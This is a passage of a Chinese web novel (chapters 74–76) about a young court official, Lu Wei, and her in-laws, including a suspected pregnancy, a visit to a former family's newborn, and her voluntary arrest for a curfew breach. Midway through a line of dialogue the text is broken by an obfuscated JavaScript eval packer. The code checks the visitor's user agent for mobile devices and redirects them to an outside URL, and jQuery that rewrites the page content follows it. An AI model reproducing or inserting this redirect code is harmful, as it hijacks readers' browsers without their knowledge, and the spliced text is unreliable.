辞别当日,皇帝又命晏令白和一众金吾军中的甘州旧部亲送顾夷中到郊外官道,礼重之情无以复加。然而,露微也随后去了,不为别人,只为江玥。 不扰将军们告别叙话,露微将她拉到了道旁长亭里。其实自救命大恩后,露微也曾数次主动找过她,只是说不上几句话,她就不耐烦地绕开了。此刻相对,还是一样。 “你酒也敬了,礼也送了,我都接受了,还有什么事啊?” 她抱着双臂,略扬面孔,似颇倨傲,可到露微眼里只觉她可爱,一笑回道:“听说谢探微已经给你跪过了,我就不跪了,礼物呢也是我阿耶准备的,所以我什么都没做呢。” 一听提到谢探微下跪,江玥却一阵心虚,只怕谢探微将她当时问的话告诉露微:输都输彻底了,也算心甘情愿,却还要再赔上一副脸面。撇撇嘴,强作镇定道: “够了,我又不是贪财的人,纵使你家官高位显,有再多好东西,我也不稀罕。送来送去的,烦死人了。” 露微却不管她,伴着话音就将一方小盒塞到了她手里,“原不是什么好东西,”停了停又道,“给了你就是好东西了。” 江玥只觉这话颠倒绕口,想退回去,又懒得拉扯矫情,“是什么你不会直接说啊?”无奈一叹,终于打开了盒子,却见是一颗掌心大小的白玉珠。 “就这?又不好拿,又不好戴,放在身上又坠得慌。” 露微见她拿在手里掂了掂,一脸茫然,不由一笑,“你白天看是平平无奇,到了暗处会亮的!这是夜明珠,从陛下赐的妆奁里找出来的,只此一颗,很是珍贵。” 江玥出身边地将门,虽不至于微寒,奇珍异宝却是不多见的,“只有一个的东西,你为什么不自己留着?” 露微抿唇不答,却走到她身后将她推转了一面,望向了官道上,抬手指道:“你看,那是谁?” 江玥蹙眉不解,侧目道:“不就是将军他们吗?” “有一个还不是‘将军’啊!”露微抬了抬下巴,一笑。 江玥倒很快明白了所指,“又关崔为什么事?” 露微也了解她不会转弯的性子,牵引至此,也足够了,用力一拍她的肩,道:“当然关他的事!不愁明月尽,自有夜珠来——谢探微只能是我的了,可崔为一直是你的明珠啊!” 江玥陷入了良晌的沉默,良久的惊愕,直到崔为向她遥遥招手,示意启程,她方如梦初醒,平地喘息起来,目光缓缓转向露微,却是一片歉然: “我得走了,谢探微要是教不会你骑马,你就来甘州找我。” 露微笃然颔首:“若是夜珠光满,定要与我传信。” …… 目送江玥飞马绝尘,露微才心满意足地返回了城门,然而不及登车,身后一骑追来,闻声回头,却见是晏令白。 她刚到时是先向诸位将军见了礼,才拉走了江玥,只是也知他们还有军务,便没再刻意去告辞。此刻自还是大方行礼,问道: “阿父可是有事要交代?” 晏令白微笑着摇了摇头,许多话堆积在胸口,还不及匹配一个合适的开头,顿了片时方道:“刚刚和江玥都说了什么?可还是在说学马的事?” 露微见晏令白是闲谈的态度,应无急事,便也不怕耽误他了,“说了,她说我要是跟敏识学不会,就去甘州找她,她教我。从咸京去甘州要多久呢?” 晏令白敛了几分笑,道:“若是快马不歇,大约半月,若是大军行动,天气好时也要三个月。只是微微啊,甘州常年苦寒,如今才过中秋,咸京尚可穿着单衣,可甘州已经飞雪冰冻了。那不是一个好地方,你受不住的。” 露微是从没离过咸京,可谢探微却是说过有机会要带她去,不料以长辈的眼光看来,倒是有些“瞧不上”她的。 “敏识五岁就被送去了,而且就是因为体弱,现在的我难道还比不上五岁的他么?” 晏令白亦才觉她想偏了,自己也无意说偏了,忙歉疚补道:“好孩子,别生气,你自然比敏识强,是我说错了!只想着天气如何,并没有别的意思。” 她至多是稍有不服,竟惹得长辈赔礼,顿时无地自容。又想来,晏令白对她一直都是格外关怀,有些不便之事,也都是同晏令白交底的,更则愧疚难当。 “阿父无错,是我急躁了!说起来我还有许多事该谢谢阿父,却都还没机会,实在惭愧。我都知道了,阿父曾经为我背地里警告过二郎,对吗?” 话端突然转到“二郎”上,晏令白却是心中一紧,而他心里原就揣着这件事,只是还没想好如何去问。他知道谢家上下都对露微很好,但一个心术不正的二郎却不能小看,他总怕露微不慎吃亏。 “那时只是因你要我转告敏识的父母,不要他入赘,可我去时正好瞧见他在郡主面前胡言。你又是怎么知道的呢?” 露微自然要说缘故,便从沈沐芳陈情,到谢探渺被蒙蔽,再到杨家婚事,识破宁婉,与二郎当面挑明,大小事都说了详尽,“总之,我不怕他,他现在也老实多了!” 晏令白果听发生了这么多匪夷所思的事,脸色都白去几层,沙场御敌都不及这内宅交锋让他害怕,“微微,不能这样忍让下去了!要是真出了大事,难道敏识就不会伤心了?” “不行!”她一直明知此事不得求全,便也不想去权衡,这亦是她的初衷,“阿父!”她双手拽住晏令白的手臂,求道:“你不是说我比敏识强么?你相信我便是了。” 晏令白极力克制着,心中如有两军对阵,一方怂恿着他要保护唯一的女儿;一方又说他身份不正,倘或多管,叫女儿发觉,他既是毁了女儿的愿望,也连“阿父”都做不得了。 “好——好吧!” 露微扬眉一笑:“多谢阿父!” 晏令白无限自嘲,心窝堵得发痛,目光久久定在被露微牵住的手臂上,终究软弱一叹,“这里风大,上车吧,阿父送你回家。” …… 一日午后无事,李氏母女在正院暖阁闲谈,说起时节往年下走,天气愈加寒凉,要预备起冬衣物用等事。 谢探渺因而有些感叹:“往年在扬州家里,也到了我要计算的时候。今年为大郎婚事,谁知就留下了,倒享福了。”笑笑又道: “若谷毕竟在扬州任上,虽告了假,我想着不过一二月就要回去,可父亲喜爱他,要他侍应出入,又传到陛下那里,竟恩赐他留京待职,他是诚惶诚恐,那几日都坐卧不安的。” 女婿一留京,阖家就齐全了,李氏知道这是皇恩眷顾,但也听谢道元提过,以女婿积攒了十年的业绩官声,就是不早这几个月,到年底考官也必是要选调进京的。 “看到你们好,大郎他们也好,我是很放心的,如今就剩了二郎一桩心思,不知这孩子几时能省事。” 谢探渺也知母亲素来儿女心重,思及前事,自那宁婉被发落,她警醒过二郎,近来倒不见有什么动静,便觉得弟弟该是有所长进的,不免劝慰道: “到明年二月又是春闱,娘再等他考了这次看看,先别急。我也听若谷说,中秋宴上陛下还曾乘兴问起二郎,勉力他明年再考,还说什么谢家子弟到时候就文武双全了。” 这些话李氏更是知晓,却还是因为谢道元的态度不太乐观,道:“陛下说归说,我们不能以此自傲。况且你父亲的性子,若二郎没有真才实学,就如当初大郎被他剔除考官名单一样,是不可能让二郎上榜的。渺儿,二郎既然与你亲近些,你倒要多提醒他,让他不要因此得意。” 谢探渺听得出母亲的中肯,可想想还是为二郎委屈:“娘,我真不懂,父亲眼里怎样算是真才实学呢?若要和大郎比,大郎自小去了边地,必然有军功傍身,到了咸京,父亲虽压制他,却有晏将军处处给他立功的机会。可二郎呢,不过是陛下高兴,偶然赏了一句话,他就算得意,又不是什么实在的官爵名位,我还要怎么提醒?提醒他事事敛气吞声,步步小心谨慎么?那也太可怜了。” 若只说到谢道元的脾性,李氏有时也是觉得太过严苛的,可女儿这话却分明是在指责父母偏心,倒让她不禁气恼: “渺儿,这是你可以和娘说的话?!你才回来时,娘就提醒过你,你应该一视同仁看待兄弟,你都不记得?” 谢探渺这番心思其实早被徐枕山点过几回,如今又冲动出口,不过就是因为从未想通过,但见李氏勃然变色,也怕真气坏母亲,忙低头认错:“母亲息怒,是女儿说错话了。” 室内突然高声,惊动了正从廊下走来的叶新萝,观望一眼,只见母女一个怒容,一个惭色,气氛冷淡尴尬,想了想,端了茶点进去侍奉,笑道: “郡主和大娘子说了半晌,想也劳倦了,这酥蜜饼是后厨刚制好的,加了羊乳脂膏,别具馨香,尝尝吧?” 谢探渺抬去一眼 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谢探渺旁观至此,心里诸多想法,也不得不顺势陪上一句:“那女儿和阿娘一道去吧?” 李氏虽不至于还以愠色相看,却未必不懂,一笑:“娘也不是专为这一件事,微微的生辰快到了,娘还没问过她的心意。你做长姊的,看在大郎的份上,也可帮娘想想。” 谢探渺自然没关心过弟妇哪天生辰,只是母亲此刻提起,也是弥合他们姊弟间关系之意,点了头:“好。” …… 叶氏陪李氏散步至东院,不知露微醒是未醒,先招来守门的雪信问话。雪信不料郡主为此亲来探望,忙如实道: “奴婢正要去唤夫人的,只是近日都是如此,除非长公子回来,夫人才醒得早些。” 李氏越发觉得奇怪,又问:“那她晚上都做些什么?可有什么不适么?” 若真是病,雪信也并非粗心的人,想想又道:“夫人晚上多是看书,要么就临帖,都是笔墨上的工夫。有时太晚,奴婢们也会提醒,却没见夫人不适。” 贴身的人都没觉出异常,李氏干着急也无用,索性叫她开了门,轻轻走进了内室。一见,那孩子果然睡得沉稳,侧趴着身子,身躯微蜷,颊带红晕,两手压在胸前,似攥着什么物件。 “是中秋那夜,公子带夫人逛夜市买回来的小玩意儿,一只小狗,一只兔子。夫人特别喜欢,睡觉时就这样拿在手里。” 见李氏俯身觑眼,雪信便知是打量露微手里的东西,便细声解释了。李氏一听不禁忍笑,倒从未见过露微这般稚气的一面,又仔细看了片时,仍复返回了廊下。 “她这样子必是晚上伤了神,你们不能等过了时辰再提醒她,要趁早说。今日也罢了,晚膳前再去叫她吧。” 虽亲自看过无事,到底还是叮嘱了几句,雪信自然恭敬应了,将李氏送出了院门。 “其实也不差几刻了,郡主何不叫了夫人起来,不是还要问生辰的事么?”叶氏总是替主人记着事,方才不见李氏提,只以为她一时忘了,“趁还没走远,要不回去?” 李氏却只摇头一笑,“算了,她一向省事,我要问了,她定要从简,这是她进门来第一次生辰,可不能太简薄。而且啊,我一看她那副模样,真是可爱,也不忍心惊了她。” 叶氏才见了,笑道:“奴婢只见夫人平素那般有主张,其实到底还是个十几岁的孩子,喜欢玩些儿弄之物。” “谁说不是呢?儿弄……”李氏本是寻常走着,不知怎的猛然一顿,神情随即僵了,“新萝,你说不会是?!” “怎么了?”叶氏见她白了脸色,不免惊疑,“是什么?” 李氏紧抿双唇,目光垂下又抬起,半晌方拉近了她小声道:“微微会不会是有娠了?你还记得么,我怀大郎时,起初就是整天睡不够,到渺儿怀梦郎和徽儿,两次也都是这般。” 子嗣是府里最大的事,叶氏自跟来谢家,近三十年,亲历了两辈五个孩子的出生,每一次都印象深刻,便顿时就睁大了眼睛:“确实是像!”细想了想,又道: “他们夫妻忽然买了孩子的玩意儿,难道自己已经知晓?若只是巧合,咱们又怎么问呢?要留个余地,怕不是,弄得夫人难堪,还以为郡主心急至此,成婚才三个月,大郎又不常在家的。” 叶氏确也说在要处,李氏稳了稳心神,忖度道:“微微先前受伤,医人看疗并没说脉象不同,便要是真有了身孕,算来也不过一个多月,确实要谨慎。” “那就先不提,奴婢暗暗仔细照料,郡主再看看,就是了。” 李氏点了点头,心想唯此算是两全。 75.新茁 露微听闻杨淑真平安生产的消息时,已是孩子降生的第二日,先前再是左右顾忌不去登门,此刻也都抛至九霄了。 然而等她踏入那座府邸后才知,杨淑真发作临产时,淑贤就已经让侍女丛玉前去谢家报信,却被姚宜若中道拦截。若不是淑贤趁隙又遣人告知了陆冬至,她还不知几时才能知晓。 她是第二回见襁褓中的婴儿,是个健康的男孩,胎发茂密,圆脸雪肤,虽一时瞧不出像谁多些,倒让她想起泽兰初生时,也是顶着一头浓黑的头发。可见,姚家血脉相传是如此。 杨淑真看着孩子,又见露微在侧,恍然就觉是从前,只是孩子换了一个,彼此身份也不同了。露微不必她宣口,眼神中就看足了,怕惹她产后过于伤怀,不到半个时辰就辞了出来。 “露微!” 姚宜若一直在院中等候,露微到时只先顾着淑真和孩子,还不及同他多说,算是晾着他。 “怎么不称赵学士?”露微瞥了他一眼,口气怨怪,“要么,称谢夫人也行,这才不失你姚学士的礼数!” 姚宜若并不辩解,朝她迈前了几步,却是弯腰拱手:“是仲芫之过,请露微莫要与我一般见识。” 露微一下子就心软了,想起他当日放榜,就是当街行了同样的大礼,“算了!”伸手抬了他手臂一把,“我都不在意,你又讲究什么?” “心中有愧。”姚宜若脸色深沉,微一摇头,“怕你叫人误会,不想叫你再受从前的委屈。” 露微若真不明白,也不会站在这里,想了想,除了叹息再无可言,另起了话端,“我听真儿说,你给孩子取名,泽洄——为何是‘洄’?又为何从了‘泽’字?” 姚宜若却一苦笑,“泽兰的名字很好,性苦味辛,散瘀止痛,是你翻了许久的医书才定下的,从‘泽’字,便更像是亲姊弟。‘洄’么,你还不知?逆流而上,不忘前事罢了。” 露微听来也只能一笑,为兰儿取名的情形在脑中闪过。那时她为亲近姚宜苏,想过很多法子,却毫未想过自学些医书去搭话,但为了这个毫无血缘的庶女,竟可以不眠不休地翻医书。 “泽洄,也是很好名字。” 姚宜若眼眶已见泛红,低着头用力闭目隐忍,半晌才道:“你送来的玩具兰儿很喜欢,但那时阿洄还未出生,不知男女,她硬是等到昨天才挑走了布偶,把那只小马留给了弟弟。” 露微已从淑贤口中得知泽兰的早慧之态,送玩具时也没想着有男女之分,便听来更觉心酸,“她在哪儿?我去陪陪她。” “阿娘!” 她话音未落,双膝就忽觉一紧,低头看时,正是泽兰仰起的笑脸。不远处正站着带孩子过来的淑贤。 已有半年不见,孩子却着实变化很大,粉雕玉琢,目含灵光,已显露秀丽出众的模子来。她蹲身将孩子抱紧,却反而感受到一双小手在不停拍抚着她。 良晌松开,孩子还是那般笑容,露微早是两眼通红,只是毕竟欢愉,感慨有限,“兰儿乖,阿娘以后常来看你好不好?” 小泽兰伸手抹了抹她的眼睛,却不再说话,见姚宜若在身后蹲下,便依了过去,抱住了姚宜若的脖颈,糯糯唤道:“阿耶。” 姚宜若怜爱地一笑,抚摸着孩子的脸颊,却很快将她交给了淑贤,“她已经改口,可对你……我不忍心让她改,也不知如何改。” 露微的目光才从孩子脸上收回,“她分得清,便不用改了,除非是你们介怀。”淡淡一笑,又道:“以后我还能来么?” 姚宜若脸色渐转明朗,片刻的沉默后,长长地舒了口气:“扫榻倒屣,不胜欢欣。” 几人的笑声很快弥漫庭院。 …… 临近薄暮,露微方作辞回府,姚宜若将她送到门首,却不及道别,远远就见阍房前徘徊着一个很不该出现的身影,叫他们俱是一惊。 “你什么时候来的?”露微一把将人拽住,瞥眼身后低首顿足的姚宜若,大为尴尬。 “有一个时辰了!午后换防的时候遇见冬至了,他一说,我就知道你在这儿!”谢探微却反而很自豪,挑着眉傻笑,又小声道:“但怕你尴尬,就没进去。” 说得好像现在的情形不尴尬似的,露微直倒了两口气,踢了他一脚,叫他靠边,这才硬着头皮转对姚宜若:“仲芫……我,我这就走了,你快回去吧。” “姚学士!”谁知,这人竟又窜过来,对着尚未缓过神的姚宜若就俯身一拜,“谢某今日来得匆忙,未有备礼,谨以空首,贺姚学士芝兰新茁,弄璋志喜。” 姚宜若并非初见谢探微,只是到底身份难堪,也不了解他的为人,先前不让探望露微也是出于此情。然则旁观他言辞情状,已不由暗自心惊,生出感佩之情。 “谢司阶言重了,阍房怠慢,是下官之过!” “与他们无关,是谢某甘愿在此等候。今日真是不周到了,等令郎弥月,谢某必携重礼再来叨扰。” 他二人对拜对诉,露微倒像是个多余的了,目光来回循看,也插不进话去。直到登车离开,才拷问起这人: “你今天发什么疯?几车的话都不用打稿子。” 谢探微却还是那副得意神色,见露微只坐在他对面,离得老远,手臂一展,先将人抱到了腿上才答话:“我这样做,你难道不觉得面上有光吗?” 露微确实是意外,挣不过他的力气,撇过脸道:“油腔滑调。” 谢探微望着她淡粉的颊面,故意拧着几分并不强势的倔强,不由轻笑,“见了那孩子如何?取了什么名字?” 他忽然正经,露微才稍转眉目,恰有一道昏黄的光线自车帘的边隙漏进来,晃进他眼里,叫他猛一缩避,“瞧,这是现世报,叫你胡诌。”虽趣了一句,仍立刻反手扯了帘子。 “微微,”他又抬起眼,将露微帘上的手握住,“说给我听听。” 他掌心颇热,同他一样粘人,露微拿他无法,终作一笑,详细地说了一回,“泽洄,好听吗?” 谢探微点了点头,“念起来动听,意思也好。”又将露微腰身环紧了些,“要不然,我们也先将孩子的名字取了?” 有了先前的铺垫,露微也不觉这是语出惊人了,可偏在此时,车驾停了,只听小奴报道:“公子、夫人,到府门了!” 露微嗤笑一声,甩开他先跃下了车,又怕他无赖追来,脚不停歇就冲进了门首,可回顾之间却不防前路来人,一下撞了满怀。 “夫人要当心呐!” 露微慌促间倒没摔倒,抬头定睛方见是叶娘抱住了她,而李氏亦紧随其后,从叶氏手里扶过她,神色反比她紧张: “微微,无事吧?”又见谢探微也是一阵小跑进来,表情又一变,竟斥道:“几岁的人了?胡闯什么?” 谢探微一懵,虽然就是在玩笑,可母亲应还不知他们所为何事,不免与露微挤眼,双双疑惑,“母亲怎么在这里?是要出门?”说着便将露微牵了回来,再三对视,各添愧色。 李氏却也暗同叶氏瞥眼,清了清嗓方道:“这时候了还去哪里?不过散步。”目光转到露微,又一笑,“你们父亲要在部中值夜,就不回来了,今天你们就和娘一起用晚饭吧?” 这不好推辞,况且才刚冲撞了,二人都不好意思,便很快随李氏去了。到了正院花厅,原来早备下席面,七八样菜肴,荤素皆全,都是当令的菜色。 夫妻一起陪母亲用膳还是头一回,此刻虽已平静,婢女端水来给他们洗手时,露微又趁隙打量李氏的态度,心想她出门前并未特意禀明李氏,稍待要不要再说,李氏又会不会介怀她到姚家去。 “大郎啊,你怎么和微微到一处了?是一起去姚家贺喜了?” 她心里还没盘算清楚,李氏就先问到了谢探微,而且竟已知晓他们的行踪,但神色口气却又极平常。 她想要自己作答,迟钝了片刻,自水中提起的双手滴着水,忽□□巾包裹住——谢探微朝她一笑,接话道:“是的母亲,他家生了个男孩,母子平安。” 李氏还只是笑着点头,又叫二人赶紧来坐,方道:“当日春闱放榜,我陪二郎去看,倒也见了那位十九岁的状头,不想他今年双喜临门,这个年纪就做了父亲了。” 放榜那日,夫妻也都在场,闻言都是一惊,皆不料那时李氏竟见过姚宜若。尤其露微想来,彼时李氏正是姚宜若离开后现身的,难道也瞧见她和姚宜若说话了? 果然如此,那原来李氏早就明白她和姚家是没断来往的,便可见,李氏宏量至深,反显得她促狭鬼祟了,于是连忙坦言道: “出门前原该先告诉母亲,只是我怕母亲不喜,便擅自先去了。” “这有什么?这样的喜事去瞧了也是让人高兴。”李氏全无在意,将露微揽到身侧,亲自夹菜。 谢探微先也猜是露微不曾明说,得知消息后赶到姚家,刚刚又替她挡话,不过也是怕李氏介怀,要陪她共同面对,此刻才算完全松了心,含笑自食,不去打扰。 既解了心结,露微与李氏相处间也越发自然,连吃了许多,又听李氏问道:“微微啊,上回那个酥蜜饼如何?还有红果蜜饯,也见你都吃了,还有什么想吃的东西没有?” 李氏近来总在三餐之外送糕点小食给她,而且每日变着花样。她不算是贪嘴的人,却也因不想辜负李氏的心意,每每都吃尽了。但要她一时去想,也是无从说起,“母亲无须这样费心的。” “她最喜欢萧家馄饨,就是颁政坊最有名的那家!”谢探微一直不曾插话,但两只耳朵却是竖着的,此时便抓到了表现的机会。 露微少不得嫌他多事,暗瞪了他一眼,对李氏解释道:“母亲,是他自己喜欢,我却没有总想着的。” 李氏初知此事,但颁政坊的萧家馄饨是她小时候就听过的名号,怕是传了四五代人都不止。只不过她也知,这家馄饨的馅料很杂,汤水浮着厚厚一层脂膏,又喜欢加些味重的小料,她看来不甚洁净,也过于油腻。 “这也好办,市卖的还得费事去买,叫后厨在家做了就是,微微想什么时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13992928|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃,便随时都有。” 见李氏琢磨了片时,露微还以为她现在就要遣人去买,却不料更为夸张,再要阻止,已见叶新萝领命去办了。 她只好把气撒向那人,借着夹菜,一筷子戳到那人手背,见他不防一惊,嘴角漏出汤汁滴在胸口,方忍笑自得,饶了他。 李氏却都瞧在眼里,不动声色,转脸抿笑。 …… 徐枕山晚饭时就见谢探渺不大开颜,此刻又见她呆坐在妆台前,脸色沉郁,不免重视起来,关切动问。可谢探渺反嫌他打搅,抬起头来先瞪了一眼,道: “你不管事,又来多事,今晚厢房去睡吧!” 徐枕山见惯她平地起风波,虽则这次风浪似乎大了些,倒还稳得住,道:“又有什么事?弟妇的生辰自是母亲定主意,你既已备了礼,尽心就好,还烦恼什么?” 谢探渺那日惹恼了母亲,为找台阶下才答应为露微准备生辰,到底是没有几分真心的,眼看没两日就是九月初三了,她只是采买了些金银珠翠的首饰。 然则,徐枕山只知其一不知其二,她现下的心结却就是由这礼物引带出来的,“原本确实不费事。” 徐枕山听出另有文章,忙端了杌凳近前坐下,见她努嘴轻哼,笑笑摇头,又哄了几句,终于才听到下文。 她既是与母亲起了龃龉,便为露微采买礼物时,也顺带给母亲准备了一份赔礼。李氏虽不计较,看到她这般也自然高兴,母女又说起贴心话。可这番话却不是什么寻常的家务琐事,竟是告知她,露微可能有了身孕。 “他们这么快就有孩子了?大喜啊!”徐枕山等不及就惊讶起来,“所以你是觉得礼物薄了,还要再添些?那就准备些孩子的用物,这还不是轻车熟路!” 谢探渺撇撇嘴,抬手就在他脑门上一敲,“你听清了!只是可能,还不确定,不然母亲只同我私下说什么?” 徐枕山摸了摸痛处,面露惭色,倒真是一听“孩子”就完全忽略了别的话,“既不能提,就添些别的吧。” 谢探渺却又摇头,转对铜镜瞧了眼自己,“添什么,她那里没有呢?”又撑腮一叹,眼角带出几分轻蔑的意味,“你可知他们今天去哪里了?姚家,就是她初嫁的那户人家。” 徐枕山自然不知详情,但话题忽转,显然并非好事,“又如何?母亲难道说什么了?” 谢探渺哼笑了声,道:“母亲说她或有身孕,我就说去看看她,也帮着分辨分辨。可母亲竟然告诉我,她去姚家贺喜了,说是姚家二郎夫妻刚生了孩子。她放着我们二郎从不关心,倒还记挂着从前的叔嫂之情,母亲也竟丝毫不介意,简直匪夷所思!就算她的身孕是真,母亲也不能纵她纵到这个地步啊!” 徐枕山听到这里,才算明摆她今晚这场风浪源头在何处,根本就不是礼物的事,还是因为她和弟妇之间的隔阂,但此事倒也不是从前那些能够简单评理的事。 想过半晌,他正要说些中和劝解的话,不防外头忽然传来几声喊闹,不用细听便知是西侧廊屋里孩子的动静。都起更了,孩子早该睡下,夫妻便觉不对劲,一齐起身去看究竟。 一进门,果见两个孩子都醒着,却不是打闹,竟是在解孔明锁。只是两人四手各有想法,不免有所争持,父母都站在跟前了,还是沉浸其中,旁边几个侍娘都怕主人怪罪,早早就跪了下去。 谢探渺见孩子痴迷成这样,前所未有,况且也没见何时有了这样玩物,一把将东西夺了,道:“怎么还不睡?!这个哪儿来的?” 孩子俱都惊了一跳,稍年长的梦郎见是瞒不住,抿了抿嘴,嗫嚅回道:“是……是舅舅舅母送给我和妹妹的。” 谢探渺正为露微的事不平,又听这稀奇事,当即窜起一股无名。 徐枕山自是察觉,怕她在孩子面前失了分寸,忙拉了一把,眼里亦早见榻侧还摆着一幅拼好的唐图。 “都起来吧。”他转对地上的侍娘挥了下手,“怎么回事?” 最近的一个侍娘便回道:“就是中秋节后,长公子和夫人送来的,就说送给孩子玩,也不愿惊动。奴婢见也不是要紧的东西,便接了。” 其实夫妻俩每天都会陪孩子玩上几时,尤其是谢探渺,闲暇更多,却被蒙在鼓里半月,可见孩子真是喜爱至极,偷藏起来,只怕夜里摸黑也得摸两下。 “你们可以白天玩,晚上熬着玩,怎么养好精神呢?” 徐枕山觉得不是大事,将两个孩子揽到身边,可也就刚教导了这一句,忽见谢探渺甩袖离去,无法,只好又将孩子交给侍娘,简单嘱咐了几句便追了出去。 “这是两件事,你何必混为一谈?” 谢探渺并不回头,只道:“自然是两件事,我能说什么?”又哼声道:“在扬州时也聘了老师,放纵了他们这许久,也该叫收心了,烦劳你明日便去给他们请个好先生吧!省得失教丧志,将来谁去延续你徐家的祖业呢?” 话音未落,人已进屋,徐枕山驻足良久,无奈至极,此夜终究还是去了厢房歇下。 76.囹圄 此日常朝后,赵维贞被皇帝留下议事,露微便独自侍奉太子温习,却不想过午仍不见父亲有信。原也可先行离开,但父亲早有叮嘱,叫她今天同回赵家,被太子闻知,乐得留她相伴,便一直在东宫等到了将近申时。 眼看宵禁将至,想来议政没有定时,或至半夜也未可知,露微还是告退出了宫。马车驶往崇贤坊赵家,路途稍远,正要提醒驾车小奴加快些,不防却突然急刹,险叫她撞到车壁上。 “怎么回事?” 那小奴是个熟手,从未出过这等纰漏,她只怕有什么缘故,忙撩开车帘去瞧,倒见一个小女子跌坐车前,衣着破旧,满脸洒泪,却又不见血迹伤口,不像被撞所致。 “夫人明鉴,小奴赶车赶得好好的,这丫头突然窜出来,吓了小奴一跳,扯死了缰绳才没叫马蹄踩着她!” 果听没出大事,露微这才放心,下车同雪信一起将人扶了起来,问道:“别怕,你家在何处?” 女孩浑身瑟缩,半晌才稍稍抬头,“我家在永阳坊,我是来寻一个医人给我娘瞧病的,可那人嫌我出不起诊金将我赶走,我又不大认得这一片的路,着急走迷了。” 永阳坊在城南,与此处隔着大半个咸京城,莫说一双脚行路,就是快马也必会误了时辰。且说这两句话的工夫,天色已暗,行人已稀,独他们的马车停在路中,尤为突兀。 “马上就要宵禁,你赶不上了。我家倒不算远,你先到我家住一夜,明早我叫人送你回去,再帮你另请医人可好?” 打量她不过十四五的样子,遭遇可怜,露微心生恻隐,说着便示意雪信扶她上车,却一下被她扯住胳膊,又见她跪了下来: “我娘病得很重,家里也没有别人了,我不回去,她会死的!看夫人定是官家娘子,我不要夫人帮我请医人,就求夫人舍我乘车,送我回家吧!” 露微身着官服,小奴又如此唤她,身份自是不难认,可依本朝卫禁的律令,非有特殊,官民士庶都不得违犯,但就放着一条人命不管?犹豫间,宵禁鼓声已经传来,只待声落,即是犯禁。 “罢了,你起来!”她虽没有特权,急中生智,忽然想起若是为求医药的急事,持有本坊备案的文牒,该是能让金吾放行的,“你有没有永阳坊证明的文牒?” 女孩却一脸茫然:“什么……文牒?我不识字。” 露微这才自悔多问,看她穿着褴褛,应是贫寒出身,大约也不懂这些。又一搜肠,索性将自己的身牌解了递到雪信手里,一面就叫雪信带了女孩登车,叮嘱道: “我的身牌虽做不得大用,好歹也有东宫字样,你送她回去,若金吾拦车,只如实说,不必多提别的!” 雪信见她安排得周全,却把自己丢在了车下,急道:“那夫人呢?” 耽误了这些时候,虽不见父亲沿路过来,可赵家定是知道她要回去的,便不好叫家中担心,况且方向不同,绕路更费时,稍解释了,仍催了他们出发。 季秋时节,天黑得极快,马车才去,转过眼来,已见道旁房屋亮起灯光。露微只能加快脚步,可紧赶慢赶,崇贤坊的坊门还未见,鼓声就断了。 她虽不免着急,但总不能止步不前,小心又磨过半条街,到了一处四通的路口,等了片刻不闻动静,方要拔脚奔去对街,一声怒喝便自背后袭来,果然不能心存侥幸。 许是早有两次殷鉴,揆诸此情,她悬着的心也只能放下了,可是转头一见,迎上来为首的金吾竟然是陆冬至。 陆冬至也才惊觉,口唇半张,半晌方问出话来:“这是怎么回事啊?”打量露微身穿的官服,又问:“这个时辰才出宫?” 露微想简单解释几句,只是他身后跟来的一队金吾郎,目光各异,又窃窃私语,叫她窘迫起来,“今天有点复杂。” 陆冬至犯了难,上回抓到熟人还是那位醉酒犯禁的谢二郎,虽有曲折,最后也是去京兆府受了笞刑。可露微不一样,若叫在他手里吃了苦,莫说他本就不忍,今后也不必做人了。 一时想定,他只将露微挡在了身后,对众人道:“这位是东宫的赵学士,因与太子殿下办差才误了时辰,不算犯禁。你们先自行巡察,我要护送赵学士回府。” 露微不料他竟想当街放人,理由还如此冠冕堂皇,只是自己刚刚一字未提,叫人一听就是他自己现编的,怕是未能服众。 果然,话音未落,一个质疑的声音就跳了出来:“陆中候,我们都识得赵学士,可就算是为太子办事,那也不能枉法呀!难道你是看在谢司阶的面子?那谢司阶的面子也大不过太子啊!” 此话一出,立刻引得一阵哄笑,陆冬至本不善辩,吼了一声叫他们安静,便只剩气得铁青的面色。露微见状,两拳不由握紧,却是忽然瞧出些别的门道。 先前谢探微手下金吾起争端,她便得知,谢探微履新之后未能收服人心。看来陆冬至也差不多,履新职,带新兵,手段更比谢探微生疏,此人敢当面取笑已是明证了。 故而越是这般,就越不能让人抓住把柄,而既已提到谢探微,便也算更加提醒了露微。她了然一笑,目光直视那人道: “陆中候固然不能枉法徇私,但你就能以下犯上了吗?” 此人倒也没多大底气,一句话就低了头,只是面上仍悻悻。陆冬至见状,不欲露微为他出头,憋下一口气,又将人拉了过来: “别管他!我还是先送你回家,有什么事我来担着。” 露微自然不是只想逞口舌,心中计策已定,摇头道:“你现在就把我送到京兆府。” “什么?!” …… 京兆大狱幽深的甬道不知打过几个弯折,两侧铸铁的栅栏隔开一间间可怖的暗室,隐有粗重的喘息,哀怨的啜泣,掺杂着阴寒而腥臭的风袭来,叫露微禁不得连连寒颤。 自陆冬至手中接管她的狱吏也是头回见她这样的犯人,一路都在偷眼打量,直至甬道尽头的刑室,也只是叫她一旁等候。 与幽暗的甬道不同,刑室灯火通明,左右开阔,四壁都是砖石密密砌成,只有接顶处开了几个小窗,难见天色。 她目光环顾一圈方转到堂上,只见狱吏正与伏案的主官耳语。此人绿袍银带,不上壮室的年纪,倒很有些清正的气度,既掌管刑狱,当是京兆府的法曹参军事。 似也为她的身份来由所惊,法曹很快起身下来,迅速端量了几眼后,口气倒并不客套: “下官贺伦,是京兆府法曹。赵学士既主动认罪而来,便是熟知本朝卫禁之律,但凡犯禁,不问出身男女,皆要受笞刑。如赵学士这般初犯,则是五鞭。” 露微却不必他饶舌,想这笞刑原来并不分初犯再犯,一律都是二十鞭,还是谢探微上奏改良至此。况且自己与金吾是何关系,他必然已知,大约就是事前澄清,依法执行而已。于是一笑,回道: 